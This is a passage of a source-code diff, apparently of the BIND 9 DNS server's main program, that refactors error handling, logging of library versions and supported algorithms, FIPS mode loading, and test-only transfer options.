-/*
- * Include contributed DLZ drivers if appropriate.
- */
-#include <dlz/dlz_drivers.h>
-#endif /* ifdef CONTRIB_DLZ */
+/* On DragonFly BSD the header does not provide jemalloc API */
+#if defined(HAVE_MALLOC_NP_H) && !defined(__DragonFly__)
+#include <malloc_np.h>
+#include <sys/malloc.h> /* For M_VERSION */
+#elif defined(HAVE_JEMALLOC)
+#include <jemalloc/jemalloc.h>
+#endif
 
 /*
- * The maximum number of stack frames to dump on assertion failure.
+ * Include header files for database drivers here.
  */
-#ifndef BACKTRACE_MAXFRAME
-#define BACKTRACE_MAXFRAME 128
-#endif /* ifndef BACKTRACE_MAXFRAME */
+/* #include "xxdb.h" */
 
-LIBISC_EXTERNAL_DATA extern int isc_dscp_check_value;
-LIBDNS_EXTERNAL_DATA extern unsigned int dns_zone_mkey_hour;
-LIBDNS_EXTERNAL_DATA extern unsigned int dns_zone_mkey_day;
-LIBDNS_EXTERNAL_DATA extern unsigned int dns_zone_mkey_month;
+extern unsigned int dns_zone_mkey_hour;
+extern unsigned int dns_zone_mkey_day;
+extern unsigned int dns_zone_mkey_month;
 
 static bool want_stats = false;
 static char program_name[NAME_MAX] = "named";
@@ -133,7 +127,6 @@ static char absolute_conffile[PATH_MAX];
 static char saved_command_line[8192] = { 0 };
 static char ellipsis[5] = { 0 };
 static char version[512];
-static unsigned int maxsocks = 0;
 static int maxudp = 0;
 
 /*
@@ -150,6 +143,9 @@ static bool nonearest = false;
 static bool nosoa = false;
 static bool notcp = false;
 static bool sigvalinsecs = false;
+static bool transferinsecs = false;
+static bool transferslowly = false;
+static bool transferstuck = false;
 
 /*
  * -4 and -6
@@ -157,6 +153,10 @@ static bool sigvalinsecs = false;
 static bool disable6 = false;
 static bool disable4 = false;
 
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L && OPENSSL_API_LEVEL >= 30000
+static OSSL_PROVIDER *fips = NULL, *base = NULL;
+#endif
+
 void
 named_main_earlywarning(const char *format, ...) {
 	va_list args;
@@ -198,16 +198,13 @@ named_main_earlyfatal(const char *format, ...) {
 	exit(1);
 }
 
-ISC_NORETURN static void
+noreturn static void
 assertion_failed(const char *file, int line, isc_assertiontype_t type,
 		 const char *cond);
 
 static void
 assertion_failed(const char *file, int line, isc_assertiontype_t type,
 		 const char *cond) {
-	void *tracebuf[BACKTRACE_MAXFRAME];
-	int nframes;
-
 	/*
 	 * Handle assertion failures.
 	 */
@@ -219,24 +216,12 @@ assertion_failed(const char *file, int line, isc_assertiontype_t type,
 		 */
 		isc_assertion_setcallback(NULL);
 
-		nframes = isc_backtrace(tracebuf, BACKTRACE_MAXFRAME);
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_MAIN, ISC_LOG_CRITICAL,
-			      "%s:%d: %s(%s) failed%s", file, line,
-			      isc_assertion_typetotext(type), cond,
-			      (nframes > 0) ? ", back trace" : "");
-		if (nframes > 0) {
-			char **strs = isc_backtrace_symbols(tracebuf, nframes);
-			if (strs != NULL) {
-				for (int i = 0; i < nframes; i++) {
-					isc_log_write(named_g_lctx,
-						      NAMED_LOGCATEGORY_GENERAL,
-						      NAMED_LOGMODULE_MAIN,
-						      ISC_LOG_CRITICAL, "%s",
-						      strs[i]);
-				}
-			}
-		}
+			      "%s:%d: %s(%s) failed", file, line,
+			      isc_assertion_typetotext(type), cond);
+		isc_backtrace_log(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+				  NAMED_LOGMODULE_MAIN, ISC_LOG_CRITICAL);
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_MAIN, ISC_LOG_CRITICAL,
 			      "exiting (due to assertion failure)");
@@ -252,13 +237,13 @@ assertion_failed(const char *file, int line, isc_assertiontype_t type,
 	exit(1);
 }
 
-ISC_NORETURN static void
-library_fatal_error(const char *file, int line, const char *format,
-		    va_list args) ISC_FORMAT_PRINTF(3, 0);
+noreturn static void
+library_fatal_error(const char *file, int line, const char *func,
+		    const char *format, va_list args) ISC_FORMAT_PRINTF(3, 0);
 
 static void
-library_fatal_error(const char *file, int line, const char *format,
-		    va_list args) {
+library_fatal_error(const char *file, int line, const char *func,
+		    const char *format, va_list args) {
 	/*
 	 * Handle isc_error_fatal() calls from our libraries.
 	 */
@@ -272,7 +257,7 @@ library_fatal_error(const char *file, int line, const char *format,
 
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_MAIN, ISC_LOG_CRITICAL,
-			      "%s:%d: fatal error:", file, line);
+			      "%s:%d:%s(): fatal error: ", file, line, func);
 		isc_log_vwrite(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			       NAMED_LOGMODULE_MAIN, ISC_LOG_CRITICAL, format,
 			       args);
@@ -280,7 +265,7 @@ library_fatal_error(const char *file, int line, const char *format,
 			      NAMED_LOGMODULE_MAIN, ISC_LOG_CRITICAL,
 			      "exiting (due to fatal error in library)");
 	} else {
-		fprintf(stderr, "%s:%d: fatal error: ", file, line);
+		fprintf(stderr, "%s:%d:%s(): fatal error: ", file, line, func);
 		vfprintf(stderr, format, args);
 		fprintf(stderr, "\n");
 		fflush(stderr);
@@ -293,12 +278,13 @@ library_fatal_error(const char *file, int line, const char *format,
 }
 
 static void
-library_unexpected_error(const char *file, int line, const char *format,
-			 va_list args) ISC_FORMAT_PRINTF(3, 0);
+library_unexpected_error(const char *file, int line, const char *func,
+			 const char *format, va_list args)
+	ISC_FORMAT_PRINTF(3, 0);
 
 static void
-library_unexpected_error(const char *file, int line, const char *format,
-			 va_list args) {
+library_unexpected_error(const char *file, int line, const char *func,
+			 const char *format, va_list args) {
 	/*
 	 * Handle isc_error_unexpected() calls from our libraries.
 	 */
@@ -306,12 +292,13 @@ library_unexpected_error(const char *file, int line, const char *format,
 	if (named_g_lctx != NULL) {
 		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			      NAMED_LOGMODULE_MAIN, ISC_LOG_ERROR,
-			      "%s:%d: unexpected error:", file, line);
+			      "%s:%d:%s(): unexpected error: ", file, line,
+			      func);
 		isc_log_vwrite(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 			       NAMED_LOGMODULE_MAIN, ISC_LOG_ERROR, format,
 			       args);
 	} else {
-		fprintf(stderr, "%s:%d: fatal error: ", file, line);
+		fprintf(stderr, "%s:%d:%s(): fatal error: ", file, line, func);
 		vfprintf(stderr, format, args);
 		fprintf(stderr, "\n");
 		fflush(stderr);
@@ -329,7 +316,7 @@ usage(void) {
 			"             [-X lockfile] [-m "
 			"{usage|trace|record|size|mctx}]\n"
 			"             [-M fill|nofill]\n"
-			"usage: named [-v|-V]\n");
+			"usage: named [-v|-V|-C]\n");
 }
 
 static void
@@ -431,8 +418,6 @@ static struct flag_def {
 			{ "trace", ISC_MEM_DEBUGTRACE, false },
 			{ "record", ISC_MEM_DEBUGRECORD, false },
 			{ "usage", ISC_MEM_DEBUGUSAGE, false },
-			{ "size", ISC_MEM_DEBUGSIZE, false },
-			{ "mctx", ISC_MEM_DEBUGCTX, false },
 			{ NULL, 0, false } },
   mem_context_flags[] = { { "fill", ISC_MEMFLAG_FILL, false },
 			  { "nofill", ISC_MEMFLAG_FILL, true },
@@ -452,7 +437,8 @@ set_flags(const char *arg, struct flag_def *defs, unsigned int *ret) {
 		arglen = (int)(end - arg);
 		for (def = defs; def->name != NULL; def++) {
 			if (arglen == (int)strlen(def->name) &&
-			    memcmp(arg, def->name, arglen) == 0) {
+			    memcmp(arg, def->name, arglen) == 0)
+			{
 				if (def->value == 0) {
 					clear = true;
 				}
@@ -477,16 +463,109 @@ set_flags(const char *arg, struct flag_def *defs, unsigned int *ret) {
 	}
 }
 
+static void
+list_dnssec_algorithms(isc_buffer_t *b) {
+	for (dst_algorithm_t i = DST_ALG_UNKNOWN; i < DST_MAX_ALGS; i++) {
+		if (i == DST_ALG_GSSAPI ||
+		    (i >= DST_ALG_HMAC_FIRST && i <= DST_ALG_HMAC_LAST))
+		{
+			continue;
+		}
+		if (dst_algorithm_supported(i)) {
+			isc_buffer_putstr(b, " ");
+			(void)dns_secalg_totext(i, b);
+		}
+	}
+}
+
+static void
+list_ds_algorithms(isc_buffer_t *b) {
+	for (size_t i = 0; i < 256; i++) {
+		if (dst_ds_digest_supported(i)) {
+			isc_buffer_putstr(b, " ");
+			(void)dns_dsdigest_totext(i, b);
+		}
+	}
+}
+
+static void
+list_hmac_algorithms(isc_buffer_t *b) {
+	isc_buffer_t sb = *b;
+	for (dst_algorithm_t i = DST_ALG_HMAC_FIRST; i <= DST_ALG_HMAC_LAST;
+	     i++)
+	{
+		if (i == DST_ALG_GSSAPI) {
+			continue;
+		}
+		if (dst_algorithm_supported(i)) {
+			isc_buffer_putstr(b, " ");
+			isc_buffer_putstr(b, dst_hmac_algorithm_totext(i));
+		}
+	}
+	for (unsigned char *s = isc_buffer_used(&sb); s != isc_buffer_used(b);
+	     s++)
+	{
+		*s = toupper(*s);
+	}
+}
+
+static void
+logit(isc_buffer_t *b) {
+	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE, "%.*s",
+		      (int)isc_buffer_usedlength(b),
+		      (char *)isc_buffer_base(b));
+}
+
+static void
+printit(isc_buffer_t *b) {
+	printf("%.*s\n", (int)isc_buffer_usedlength(b),
+	       (char *)isc_buffer_base(b));
+}
+
+static void
+format_supported_algorithms(void (*emit)(isc_buffer_t *b)) {
+	isc_buffer_t b;
+	char buf[512];
+
+	isc_buffer_init(&b, buf, sizeof(buf));
+	isc_buffer_putstr(&b, "DNSSEC algorithms:");
+	list_dnssec_algorithms(&b);
+	(*emit)(&b);
+
+	isc_buffer_init(&b, buf, sizeof(buf));
+	isc_buffer_putstr(&b, "DS algorithms:");
+	list_ds_algorithms(&b);
+	(*emit)(&b);
+
+	isc_buffer_init(&b, buf, sizeof(buf));
+	isc_buffer_putstr(&b, "HMAC algorithms:");
+	list_hmac_algorithms(&b);
+	(*emit)(&b);
+
+	isc_buffer_init(&b, buf, sizeof(buf));
+	isc_buffer_printf(&b, "TKEY mode 2 support (Diffie-Hellman): %s", "no");
+	(*emit)(&b);
+
+	isc_buffer_init(&b, buf, sizeof(buf));
+	isc_buffer_printf(&b, "TKEY mode 3 support (GSS-API): %s",
+			  dst_algorithm_supported(DST_ALG_GSSAPI) ? "yes"
+								  : "no");
+	(*emit)(&b);
+}
+
 static void
 printversion(bool verbose) {
 	char rndcconf[PATH_MAX], *dot = NULL;
-#if defined(HAVE_GEOIP2)
 	isc_mem_t *mctx = NULL;
+	isc_result_t result;
+	isc_buffer_t b;
+	char buf[512];
+#if defined(HAVE_GEOIP2)
 	cfg_parser_t *parser = NULL;
 	cfg_obj_t *config = NULL;
 	const cfg_obj_t *defaults = NULL, *obj = NULL;
 #endif /* if defined(HAVE_GEOIP2) */
-	nghttp2_info *nginfo = NULL;
 
 	printf("%s%s <id:%s>\n", PACKAGE_STRING, PACKAGE_DESCRIPTION,
 	       PACKAGE_SRCID);
@@ -508,9 +587,6 @@ printversion(bool verbose) {
 #endif /* ifdef __GNUC__ */
 #endif /* if defined(__ICC) || defined(__INTEL_COMPILER) */
 #endif /* ifdef __clang__ */
-#ifdef _MSC_VER
-	printf("compiled by MSVC %d\n", _MSC_VER);
-#endif /* ifdef _MSC_VER */
 #ifdef __SUNPRO_C
 	printf("compiled by Solaris Studio %x\n", __SUNPRO_C);
 #endif /* ifdef __SUNPRO_C */
@@ -528,9 +604,20 @@ printversion(bool verbose) {
 	printf("compiled with libuv version: %d.%d.%d\n", UV_VERSION_MAJOR,
 	       UV_VERSION_MINOR, UV_VERSION_PATCH);
 	printf("linked to libuv version: %s\n", uv_version_string());
+	printf("compiled with %s version: %s\n", RCU_FLAVOR, RCU_VERSION);
+#if defined(JEMALLOC_VERSION)
+	printf("compiled with jemalloc version: %u.%u.%u\n",
+	       JEMALLOC_VERSION_MAJOR, JEMALLOC_VERSION_MINOR,
+	       JEMALLOC_VERSION_BUGFIX);
+#elif defined(M_VERSION)
+	printf("compiled with system jemalloc version: %u\n", M_VERSION);
+#endif
+#if HAVE_LIBNGHTTP2
+	nghttp2_info *nginfo = NULL;
 	printf("compiled with libnghttp2 version: %s\n", NGHTTP2_VERSION);
 	nginfo = nghttp2_version(1);
 	printf("linked to libnghttp2 version: %s\n", nginfo->version_str);
+#endif
 #ifdef HAVE_LIBXML2
 	printf("compiled with libxml2 version: %s\n", LIBXML_DOTTED_VERSION);
 	printf("linked to libxml2 version: %s\n", xmlParserVersion);
@@ -551,7 +638,19 @@ printversion(bool verbose) {
 	printf("compiled with protobuf-c version: %s\n", PROTOBUF_C_VERSION);
 	printf("linked to protobuf-c version: %s\n", protobuf_c_version());
 #endif /* if defined(HAVE_DNSTAP) */
-	printf("threads support is enabled\n\n");
+	printf("threads support is enabled\n");
+
+	isc_mem_create(&mctx);
+	result = dst_lib_init(mctx, named_g_engine);
+	if (result == ISC_R_SUCCESS) {
+		isc_buffer_init(&b, buf, sizeof(buf));
+		format_supported_algorithms(printit);
+		printf("\n");
+		dst_lib_destroy();
+	} else {
+		printf("DST initialization failure: %s\n",
+		       isc_result_totext(result));
+	}
 
 	/*
 	 * The default rndc.conf and rndc.key paths are in the same
@@ -571,13 +670,11 @@ printversion(bool verbose) {
 	printf("default paths:\n");
 	printf("  named configuration:  %s\n", named_g_conffile);
 	printf("  rndc configuration:   %s\n", rndcconf);
-	printf("  DNSSEC root key:      %s\n", named_g_defaultbindkeys);
 	printf("  nsupdate session key: %s\n", named_g_defaultsessionkeyfile);
 	printf("  named PID file:       %s\n", named_g_defaultpidfile);
 	printf("  named lock file:      %s\n", named_g_defaultlockfile);
 #if defined(HAVE_GEOIP2)
 #define RTC(x) RUNTIME_CHECK((x) == ISC_R_SUCCESS)
-	isc_mem_create(&mctx);
 	RTC(cfg_parser_create(mctx, named_g_lctx, &parser));
 	RTC(named_config_parsedefaults(parser, &config));
 	RTC(cfg_map_get(config, "options", &defaults));
@@ -621,13 +718,9 @@ parse_T_opt(char *option) {
 	/*
 	 * force the server to behave (or misbehave) in
 	 * specified ways for testing purposes.
-	 * dscp=x:     check that dscp values are as
-	 * 	       expected and assert otherwise.
 	 */
 	if (!strcmp(option, "dropedns")) {
 		dropedns = true;
-	} else if (!strncmp(option, "dscp=", 5)) {
-		isc_dscp_check_value = atoi(option + 5);
 	} else if (!strcmp(option, "ednsformerr")) {
 		ednsformerr = true;
 	} else if (!strcmp(option, "ednsnotimp")) {
@@ -696,6 +789,12 @@ parse_T_opt(char *option) {
 		}
 	} else if (!strcmp(option, "sigvalinsecs")) {
 		sigvalinsecs = true;
+	} else if (!strcmp(option, "transferinsecs")) {
+		transferinsecs = true;
+	} else if (!strcmp(option, "transferslowly")) {
+		transferslowly = true;
+	} else if (!strcmp(option, "transferstuck")) {
+		transferstuck = true;
 	} else if (!strncmp(option, "tat=", 4)) {
 		named_g_tat_interval = atoi(option + 4);
 	} else {
@@ -741,8 +840,7 @@ parse_port(char *arg) {
 		named_g_httpport = port;
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
@@ -792,6 +890,11 @@ parse_command_line(int argc, char *argv[]) {
 			named_g_conffile = isc_commandline_argument;
 			named_g_conffileset = true;
 			break;
+		case 'C':
+			printf("# Built-in default values. "
+			       "This is NOT the run-time configuration!\n");
+			printf("%s", named_config_getdefault());
+			exit(0);
 		case 'd':
 			named_g_debuglevel = parse_int(isc_commandline_argument,
 						       "debug "
@@ -837,8 +940,7 @@ parse_command_line(int argc, char *argv[]) {
 			want_stats = true;
 			break;
 		case 'S':
-			maxsocks = parse_int(isc_commandline_argument,
-					     "max number of sockets");
+			/* Formerly maxsocks */
 			break;
 		case 't':
 			/* XXXJAB should we make a copy? */
@@ -874,8 +976,29 @@ parse_command_line(int argc, char *argv[]) {
 			}
 			break;
 		case 'F':
-		/* Reserved for FIPS mode */
-		/* FALLTHROUGH */
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L && OPENSSL_API_LEVEL >= 30000
+			fips = OSSL_PROVIDER_load(NULL, "fips");
+			if (fips == NULL) {
+				ERR_clear_error();
+				named_main_earlyfatal(
+					"Failed to load FIPS provider");
+			}
+			base = OSSL_PROVIDER_load(NULL, "base");
+			if (base == NULL) {
+				OSSL_PROVIDER_unload(fips);
+				ERR_clear_error();
+				named_main_earlyfatal(
+					"Failed to load base provider");
+			}
+#endif
+			if (isc_fips_mode()) { /* Already in FIPS mode. */
+				break;
+			}
+			if (isc_fips_set_mode(1) != ISC_R_SUCCESS) {
+				named_main_earlyfatal(
+					"setting FIPS mode failed");
+			}
+			break;
 		case '?':
 			usage();
 			if (isc_commandline_option == '?') {
@@ -890,7 +1013,7 @@ parse_command_line(int argc, char *argv[]) {
 						      "an argument",
 						      isc_commandline_option);
 			}
-		/* FALLTHROUGH */
+			FALLTHROUGH;
 		default:
 			named_main_earlyfatal("parsing options returned %d",
 					      ch);
@@ -909,14 +1032,14 @@ parse_command_line(int argc, char *argv[]) {
 
 static isc_result_t
 create_managers(void) {
-	isc_result_t result;
-	unsigned int socks;
-
+	/*
+	 * Set the default named_g_cpus if it was not set from the command line
+	 */
 	INSIST(named_g_cpus_detected > 0);
-
 	if (named_g_cpus == 0) {
 		named_g_cpus = named_g_cpus_detected;
 	}
+
 	isc_log_write(
 		named_g_lctx, NAMED_LOGCATEGORY_GENERAL, NAMED_LOGMODULE_SERVER,
 		ISC_LOG_INFO, "found %u CPU%s, using %u worker thread%s",
@@ -933,37 +1056,17 @@ create_managers(void) {
 		      "using %u UDP listener%s per interface", named_g_udpdisp,
 		      named_g_udpdisp == 1 ? "" : "s");
 
-	result = isc_managers_create(named_g_mctx, named_g_cpus,
-				     0 /* quantum */, maxsocks, &named_g_netmgr,
-				     &named_g_taskmgr, &named_g_timermgr,
-				     &named_g_socketmgr);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	isc_managers_create(&named_g_mctx, named_g_cpus, &named_g_loopmgr,
+			    &named_g_netmgr);
 
-	isc_socketmgr_maxudp(named_g_socketmgr, maxudp);
 	isc_nm_maxudp(named_g_netmgr, maxudp);
 
-	result = isc_socketmgr_getmaxsockets(named_g_socketmgr, &socks);
-	if (result == ISC_R_SUCCESS) {
-		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-			      NAMED_LOGMODULE_SERVER, ISC_LOG_INFO,
-			      "using up to %u sockets", socks);
-	}
-
 	return (ISC_R_SUCCESS);
 }
 
-static void
-destroy_managers(void) {
-	isc_managers_destroy(&named_g_netmgr, &named_g_taskmgr,
-			     &named_g_timermgr, &named_g_socketmgr);
-}
-
 static void
 setup(void) {
 	isc_result_t result;
-	isc_resourcevalue_t old_openfiles;
 	ns_server_t *sctx;
 #ifdef HAVE_LIBSCF
 	char *instance = NULL;
@@ -1031,16 +1134,6 @@ setup(void) {
 		named_os_daemonize();
 	}
 
-	/*
-	 * We call isc_app_start() here as some versions of FreeBSD's fork()
-	 * destroys all the signal handling it sets up.
-	 */
-	result = isc_app_start();
-	if (result != ISC_R_SUCCESS) {
-		named_main_earlyfatal("isc_app_start() failed: %s",
-				      isc_result_totext(result));
-	}
-
 	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
 		      "starting %s%s <id:%s>", PACKAGE_STRING,
@@ -1075,11 +1168,6 @@ setup(void) {
 #endif /* ifdef __GNUC__ */
 #endif /* if defined(__ICC) || defined(__INTEL_COMPILER) */
 #endif /* ifdef __clang__ */
-#ifdef _MSC_VER
-	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
-		      "compiled by MSVC %d", _MSC_VER);
-#endif /* ifdef _MSC_VER */
 #ifdef __SUNPRO_C
 	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
@@ -1102,6 +1190,37 @@ setup(void) {
 		      "linked to OpenSSL version: %s",
 		      SSLeay_version(SSLEAY_VERSION));
 #endif /* OPENSSL_VERSION_NUMBER >= 0x10100000L */
+	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
+		      "compiled with libuv version: %d.%d.%d", UV_VERSION_MAJOR,
+		      UV_VERSION_MINOR, UV_VERSION_PATCH);
+	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
+		      "linked to libuv version: %s", uv_version_string());
+	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
+		      "compiled with %s version: %s", RCU_FLAVOR, RCU_VERSION);
+#if defined(JEMALLOC_VERSION)
+	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
+		      "compiled with jemalloc version: %u.%u.%u",
+		      JEMALLOC_VERSION_MAJOR, JEMALLOC_VERSION_MINOR,
+		      JEMALLOC_VERSION_BUGFIX);
+#elif defined(M_VERSION)
+	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
+		      "compiled with system jemalloc version: %u", M_VERSION);
+#endif
+#if HAVE_LIBNGHTTP2
+	nghttp2_info *nginfo = NULL;
+	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
+		      "compiled with libnghttp2 version: %s", NGHTTP2_VERSION);
+	nginfo = nghttp2_version(1);
+	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
+		      "linked to libnghttp2 version: %s", nginfo->version_str);
+#endif
 #ifdef HAVE_LIBXML2
 	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
@@ -1127,6 +1246,21 @@ setup(void) {
 		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
 		      "linked to zlib version: %s", zlibVersion());
 #endif /* if defined(HAVE_ZLIB) && defined(ZLIB_VERSION) */
+#if defined(HAVE_GEOIP2)
+	/* Unfortunately, no version define on link time */
+	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
+		      "linked to maxminddb version: %s", MMDB_lib_version());
+#endif /* if defined(HAVE_GEOIP2) */
+#if defined(HAVE_DNSTAP)
+	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
+		      "compiled with protobuf-c version: %s",
+		      PROTOBUF_C_VERSION);
+	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
+		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
+		      "linked to protobuf-c version: %s", protobuf_c_version());
+#endif /* if defined(HAVE_DNSTAP) */
 	isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
 		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
 		      "----------------------------------------------------");
@@ -1146,39 +1280,11 @@ setup(void) {
 		      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
 		      "----------------------------------------------------");
 
-	/*
-	 * Get the initial resource limits.
-	 */
-	RUNTIME_CHECK(isc_resource_getlimit(isc_resource_stacksize,
-					    &named_g_initstacksize) ==
-		      ISC_R_SUCCESS);
-	RUNTIME_CHECK(isc_resource_getlimit(isc_resource_datasize,
-					    &named_g_initdatasize) ==
-		      ISC_R_SUCCESS);
-	RUNTIME_CHECK(isc_resource_getlimit(isc_resource_coresize,
-					    &named_g_initcoresize) ==
-		      ISC_R_SUCCESS);
-	RUNTIME_CHECK(isc_resource_getlimit(isc_resource_openfiles,
-					    &named_g_initopenfiles) ==
-		      ISC_R_SUCCESS);
-
 	/*
 	 * System resources cannot effectively be tuned on some systems.
 	 * Raise the limit in such cases for safety.
 	 */
-	old_openfiles = named_g_initopenfiles;
 	named_os_adjustnofile();
-	RUNTIME_CHECK(isc_resource_getlimit(isc_resource_openfiles,
-					    &named_g_initopenfiles) ==
-		      ISC_R_SUCCESS);
-	if (old_openfiles != named_g_initopenfiles) {
-		isc_log_write(named_g_lctx, NAMED_LOGCATEGORY_GENERAL,
-			      NAMED_LOGMODULE_MAIN, ISC_LOG_NOTICE,
-			      "adjusted limit on open files from "
-			      "%" PRIu64 " to "
-			      "%" PRIu64,
-			      old_openfiles, named_g_initopenfiles);
-	}
 
 	/*
 	 * If the named configuration filename is relative, prepend the current
@@ -1200,11 +1306,7 @@ setup(void) {
 	/*
 	 * Record the server's startup time.
 	 */
-	result = isc_time_now(&named_g_boottime);
-	if (result != ISC_R_SUCCESS) {
-		named_main_earlyfatal("isc_time_now() failed: %s",
-				      isc_result_totext(result));
-	}
+	named_g_boottime = isc_time_now();
 
 	result = create_managers();
 	if (result != ISC_R_SUCCESS) {
@@ -1228,21 +1330,16 @@ setup(void) {
 				      isc_result_totext(result));
 	}
 
-#if CONTRIB_DLZ
-	/*
-	 * Register any other contributed DLZ drivers.
-	 */
-	result = dlz_drivers_init();
-	if (result != ISC_R_SUCCESS) {
-		named_main_earlyfatal("dlz_drivers_init() failed: %s",
-				      isc_result_totext(result));
-	}
-#endif /* if CONTRIB_DLZ */
-
 	named_server_create(named_g_mctx, &named_g_server);
 	ENSURE(named_g_server != NULL);
 	sctx = named_g_server->sctx;
 
+	/*
+	 * Report supported algorithms now that dst_lib_init() has
+	 * been called via named_server_create().
+	 */
+	format_supported_algorithms(logit);
+
 	/*
 	 * Modify server context according to command line options
 	 */
@@ -1285,12 +1382,19 @@ setup(void) {
 	if (sigvalinsecs) {
 		ns_server_setoption(sctx, NS_SERVER_SIGVALINSECS, true);
 	}
+	if (transferinsecs) {
+		ns_server_setoption(sctx, NS_SERVER_TRANSFERINSECS, true);
+	}
+	if (transferslowly) {
+		ns_server_setoption(sctx, NS_SERVER_TRANSFERSLOWLY, true);
+	}
+	if (transferstuck) {
+		ns_server_setoption(sctx, NS_SERVER_TRANSFERSTUCK, true);
+	}
 }
 
 static void
 cleanup(void) {
-	destroy_managers();
-
 	if (named_g_mapped != NULL) {
 		dns_acl_detach(&named_g_mapped);
 	}
@@ -1304,12 +1408,6 @@ cleanup(void) {
 	 */
 	/* xxdb_clear(); */
 
-#ifdef CONTRIB_DLZ
-	/*
-	 * Unregister contributed DLZ drivers.
-	 */
-	dlz_drivers_clear();
-#endif /* ifdef CONTRIB_DLZ */
 	/*
 	 * Unregister "dlopen" DLZ driver.
 	 */
@@ -1354,8 +1452,7 @@ named_smf_get_instance(char **ins_name, int debug, isc_mem_t *mctx) {
 
 	if ((h = scf_handle_create(SCF_VERSION)) == NULL) {
 		if (debug) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "scf_handle_create() failed: %s",
+			UNEXPECTED_ERROR("scf_handle_create() failed: %s",
 					 scf_strerror(scf_error()));
 		}
 		return (ISC_R_FAILURE);
@@ -1363,8 +1460,7 @@ named_smf_get_instance(char **ins_name, int debug, isc_mem_t *mctx) {
 
 	if (scf_handle_bind(h) == -1) {
 		if (debug) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "scf_handle_bind() failed: %s",
+			UNEXPECTED_ERROR("scf_handle_bind() failed: %s",
 					 scf_strerror(scf_error()));
 		}
 		scf_handle_destroy(h);
@@ -1373,8 +1469,7 @@ named_smf_get_instance(char **ins_name, int debug, isc_mem_t *mctx) {
 
 	if ((namelen = scf_myname(h, NULL, 0)) == -1) {
 		if (debug) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "scf_myname() failed: %s",
+			UNEXPECTED_ERROR("scf_myname() failed: %s",
 					 scf_strerror(scf_error()));
 		}
 		scf_handle_destroy(h);
@@ -1382,8 +1477,7 @@ named_smf_get_instance(char **ins_name, int debug, isc_mem_t *mctx) {
 	}
 
 	if ((instance = isc_mem_allocate(mctx, namelen + 1)) == NULL) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "named_smf_get_instance memory "
+		UNEXPECTED_ERROR("named_smf_get_instance memory "
 				 "allocation failed: %s",
 				 isc_result_totext(ISC_R_NOMEMORY));
 		scf_handle_destroy(h);
@@ -1392,8 +1486,7 @@ named_smf_get_instance(char **ins_name, int debug, isc_mem_t *mctx) {
 
 	if (scf_myname(h, instance, namelen + 1) == -1) {
 		if (debug) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "scf_myname() failed: %s",
+			UNEXPECTED_ERROR("scf_myname() failed: %s",
 					 scf_strerror(scf_error()));
 		}
 		scf_handle_destroy(h);
@@ -1420,9 +1513,17 @@ main(int argc, char *argv[]) {
 	(void)ProfilerStart(NULL);
 #endif /* ifdef HAVE_GPERFTOOLS_PROFILER */
 
-#ifdef HAVE_LIBXML2
-	xmlInitThreads();
-#endif /* HAVE_LIBXML2 */
+	/*
+	 * Technically, this call is superfluous because on startup of the main
+	 * program, the portable "C" locale is selected by default.  This
